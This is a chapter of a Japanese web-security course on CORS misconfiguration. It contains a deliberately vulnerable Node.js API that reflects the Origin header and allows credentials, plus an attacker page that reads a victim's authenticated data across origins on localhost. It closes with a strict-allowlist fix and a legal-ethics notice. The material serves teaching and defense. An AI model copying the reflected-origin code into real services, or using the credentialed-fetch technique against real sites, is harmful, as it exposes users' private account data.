コース目次 / 第3章

誤設定の危うさ — 反射 + 資格情報

Originをそのまま反射し資格情報も許可するAPIに、攻撃者サイトから認証済みレスポンスを読み出させます。なぜ*では危険が成立せず反射が使われるかを理解し、厳格な許可リストで直します。

第3章 / 全5章目安 約13分この章のゴール: 反射+資格情報のCORS誤設定の危険を再現し、厳格な許可リストで直せるようになる

いよいよ、CORS の誤設定が開ける穴です。ありがちで、そして深刻な組み合わせ——Origin の反射 + 資格情報の許可を再現します。今度は本物の攻撃者サイト(:4002)に登場してもらいます。

法と倫理ゲート

手を動かす前に

このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。

  • (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
  • (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
  • (c) CTF 競技の中(規約の範囲で)

実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。

認証付きの API に、する

まず API を「ログインした人の秘密を返す」形にします。Cookie でログイン状態を持ち、/me がその人のデータを返す——sec-http で見た形です。そしてわざと誤設定します。api.js をこう変えます。

// api.js — 認証付き + わざと危険な CORS 設定。127.0.0.1:4000。
const http = require('node:http');

const server = http.createServer((req, res) => {
  const origin = req.headers.origin;
  // 【誤設定1】届いた Origin を、そのまま鏡のように許可に反射している。
  // 【誤設定2】資格情報(Cookie)付きのやり取りも許可している。
  if (origin) {
    res.setHeader('Access-Control-Allow-Origin', origin);        // 反射
    res.setHeader('Access-Control-Allow-Credentials', 'true');   // 資格情報も許可
  }
  if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }

  const url = new URL(req.url, 'http://127.0.0.1:4000');
  if (url.pathname === '/login') { // ログイン(このデモでは Cookie を配るだけ)
    res.setHeader('Set-Cookie', 'uid=haruto; Path=/');
    res.setHeader('Content-Type', 'text/plain; charset=utf-8');
    res.end('ログインしました(Cookie を配りました)');
    return;
  }
  if (url.pathname === '/me') { // ログイン中の人の秘密を返す
    const uid = /(?:^|;\s*)uid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
    res.setHeader('Content-Type', 'application/json; charset=utf-8');
    res.end(JSON.stringify(uid ? { user: uid, secret: '口座残高 1,234,567 円' } : { error: '未ログイン' }));
    return;
  }
  res.end('API');
});

server.listen(4000, '127.0.0.1', () => console.log('API: http://127.0.0.1:4000 (Ctrl+C で停止)'));

攻撃者サイト(:4002)

開いた人のブラウザから、:4000 の認証済み /me を、Cookie 付きで読もうとするページです。evil.js として保存します。

// evil.js — 攻撃者サイト。127.0.0.1:4002。開いた人の Cookie を使って :4000/me を盗む。
const http = require('node:http');

const PAGE = [
  '<!doctype html><meta charset="utf-8"><body style="font-family:sans-serif">',
  '<h1>攻撃者のサイト(:4002)</h1><pre id="out">盗み出し中…</pre>',
  '<script>',
  // credentials:"include" で、:4000 の Cookie も一緒に送らせる。
  "fetch('http://127.0.0.1:4000/me', { credentials: 'include' })",
  '  .then(function (r) { return r.json(); })',
  "  .then(function (d) { out.textContent = '盗めた: ' + JSON.stringify(d); })",
  "  .catch(function (e) { out.textContent = 'ブロックされた: ' + e; });",
  '</script></body>',
].join('\n');

http.createServer((req, res) => {
  res.setHeader('Content-Type', 'text/html; charset=utf-8');
  res.end(PAGE);
}).listen(4002, '127.0.0.1', () => console.log('攻撃者サイト: http://127.0.0.1:4002 (Ctrl+C で停止)'));

攻撃 — 別サイトから、認証済みデータを盗む

被害者になったつもりで、順に。

  1. node api.js と node evil.js を、それぞれのターミナルで起動。
  2. ブラウザで http://127.0.0.1:4000/login を開く(= あなたが :4000 にログインした状態。Cookie が入る)。
  3. そのまま同じブラウザで、攻撃者サイト http://127.0.0.1:4002 を開く。

攻撃者ページに 「盗めた: {“user”:“haruto”,“secret”:“口座残高 1,234,567 円”}」と表示されます。まったく無関係な :4002 のサイトが、あなたが :4000 にログインした状態を使って、あなたの認証済みデータを読み出した。これが、反射 + 資格情報の CORS 誤設定の穴です。
攻撃者は、この :4002 のような URL を踏ませるだけ。踏んだ人が別タブや過去に :4000 にログインしていれば、その Cookie ごとデータを吸い出せます。

なぜ「反射」なのか — * では成立しない

ここが CORS 誤設定の勘所です。

「誰にでも許す」なら Access-Control-Allow-Origin: でよさそうに見えます。でも——ブラウザは、ACAO: と「資格情報付き(credentials)」の併用を禁じています。 のときに Cookie 付きレスポンスを読ませようとすると、ブラウザが拒否する。
だから攻撃者にとって
は使えない。代わりに狙うのが「Origin の反射」です。サーバが届いた Origin をそのまま ACAO に返すと、値は * ではなく http://127.0.0.1:4002 という具体的なオリジンになる。これは資格情報と併用できてしまう。「実質なんでも許可」なのに、形式上は具体的なオリジンを名指ししている——この抜け道が、反射の危険の正体です。

修正 — 厳格な許可リストで、反射しない

直しは、信頼するオリジンだけを、事前に決めた許可リストと突き合わせることです。届いた Origin をそのまま返さない。

// 直したあと: 許可リストに載っているオリジンだけ、明示的に許可する。
const ALLOW = new Set(['http://127.0.0.1:4001']); // 正規のフロントだけ
const origin = req.headers.origin;
if (origin && ALLOW.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Vary', 'Origin'); // オリジンで応答が変わることをキャッシュに伝える
}
// 許可リストに無いオリジン(:4002 など)には、ACAO を一切付けない。

API を再起動して、もう一度 :4002 を開くと——今度は 「ブロックされた」。:4002 は許可リストに無いので ACAO が付かず、ブラウザが読み取りを止めます。正規のフロント :4001 は、これまでどおり読めます。

原則は、これまでの穴と同じ「許可リスト」です(オープンリダイレクト・パストラバーサルと同じ)。「危ない Origin を弾く」ではなく「信頼する Origin だけ許す」。そして——資格情報を許可する CORS では、絶対に Origin を無条件反射しない・* にしない。信頼リストは短く、具体的に。

持ち帰る一言

反射 + 資格情報は、壁を無意味にする。 Origin をそのまま返し Allow-Credentials: true にすると、任意のサイトが利用者の認証済みデータを読めます。* は資格情報と併用できないため、攻撃者は反射を狙う。直しは厳格な許可リストで、反射しない。次はまとめて、CSP のコースへ橋を渡します。

こうなっていればOK

卒業まであと1章です。

この章はまだ完了していません。